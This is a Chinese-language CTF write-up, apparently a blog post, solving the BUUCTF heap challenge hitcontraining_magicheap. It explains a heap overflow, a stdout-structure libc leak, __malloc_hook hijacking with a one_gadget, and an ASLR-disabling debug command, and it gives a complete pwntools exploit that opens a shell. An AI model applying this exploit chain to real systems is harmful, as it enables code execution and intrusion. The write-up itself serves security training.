BUUCTF【hitcontraining_magicheap】

本文详细介绍了在BUUCTF挑战`hitcontraining_magicheap`中,通过分析程序保护机制,发现堆溢出漏洞,并利用该漏洞进行内存布局操纵,最终实现getshell的目标。主要步骤包括:泄露libc地址、劫持malloc_hook并利用one_gadget gadget执行任意代码。文章还提供了完整的exploit代码以供参考。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

BUUCTF【hitcontraining_magicheap】刷题

例行检查:在这里插入图片描述

程序为64位,除了pie,其他保护机制都开了。放到IDA中分析

漏洞分析:

首先看到一个菜单,
在这里插入图片描述
发现程序是没有输出功能的,这里我们想到了去打stdout结构体来leak出地址,
在这里插入图片描述
这里是有一个后门的,我设置了满足的条件发现没出flag,应该比赛的环境下flag路径是对的,但buuctf路径是不对的,所以我们就去get shell拿flag。

漏洞点在edit()函数中,
在这里插入图片描述
creat_heap()函数获取我们的大小后,在edit()中又再次让我们输入大小,存在堆溢出.

接下来我们就对堆溢出进行利用.

漏洞利用与调试

这里呢,为了调试放便,我借用了rencvn大佬的方法,通过命令:echo 0 > /proc/sys/kernel/randomize_va_space,关掉地址随机化

我们的整体思路:

1.打stdout结构体leak出libc地址

2.劫持malloc_hook,覆盖成one_gadget

3.申请触发one_gadget

我们先申请几个堆块看看堆布局的情况:

add(0x60,'AAA')
add(0x100,'AAA')
add(0x60,'AAA')
add(0x60,'AAA')

此时堆中布局:

在这里插入图片描述
通过堆溢出,改写1号堆块的size位,引起向下合并

free(2)
edit(0,0x70,'A'*0x60+p64(0)+p64(0x181))

此时:
在这里插入图片描述
我们在通过free(1),在申请出来,残留main_arena指针在fastbin中,

free(1)
add(0x100,'A')

此时堆中布局:
在这里插入图片描述在这里插入图片描述
在次利用堆溢出,覆盖main_arena低地址两字节,劫持到stdout结构体附近

edit(1,0x120,'A'*0x100+p64(0)+p64(0x71)+'\xdd\x25')#这里没直接用stdout的低字节,而是stdout-0x43的地址,绕过ubantu16下的堆头检查机制

在这里插入图片描述
接下来覆盖stdout即可leak出地址

add(0x60,'A')

payload = 'A'*0x33
payload += p64(0xfbad1800)
payload += p64(0)*3
payload += '\x00'

add(0x60,payload)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success(hex(leak))
libc_base = leak-0x3c5600

接下来正常劫持malloc_hook为one_gadget即可

malloc_hook = libc_base + libc.sym['__malloc_hook']
success(hex(malloc_hook))
one = [0x45226,0x4527a,0xf03a4,0xf1247]
one1 = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one[3]
add(0x60,'ccccc')
free(3)
edit(2,0x80,'A'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))

add(0x60,'A')
add(0x60,'A'*0x13+p64(one_gadget))

choice(1)
io.recvuntil(':')
io.sendline('20')

io.interactive()

完整exp:

from pwn import *
elf = ELF('./magicheap')
io = remote('node4.buuoj.cn',27557)
#io = process('./magicheap')
#libc = elf.libc
libc = ELF('./libc-2.23.so')
context.log_level='debug'

def choice(c):
	io.recvuntil(':')
	io.sendline(str(c))

def add(size,content):
	choice(1)
	io.recvuntil(':')
	io.sendline(str(size))
	io.recvuntil(':')
	io.send(content)

def edit(index,size,content):
	choice(2)
	io.recvuntil(':')
	io.sendline(str(index))
	io.recvuntil(':')
	io.sendline(str(size))
	io.recvuntil(':')
	io.send(content)

def free(index):
	choice(3)
	io.recvuntil(':')
	io.sendline(str(index))

add(0x60,'AAA')
add(0x100,'AAA')
add(0x60,'AAA')
add(0x60,'AAA')

free(2)
edit(0,0x70,'A'*0x60+p64(0)+p64(0x181))

free(1)

add(0x100,'A')

edit(1,0x120,'A'*0x100+p64(0)+p64(0x71)+'\xdd\x25')
gdb.attach(io)
add(0x60,'A')

payload = 'A'*0x33
payload += p64(0xfbad1800)
payload += p64(0)*3
payload += '\x00'

add(0x60,payload)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success(hex(leak))
libc_base = leak-0x3c5600
success(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
success(hex(malloc_hook))
#one = [0x45226,0x4527a,0xf03a4,0xf1247]
one1 = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one1[3]
add(0x60,'ccccc')
free(3)
edit(2,0x80,'A'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))

add(0x60,'A')
add(0x60,'A'*0x13+p64(one_gadget))

choice(1)
io.recvuntil(':')
io.sendline('20')


#gdb.attach(io)

io.interactive()

在这里插入图片描述
喜提flag!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leee333

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值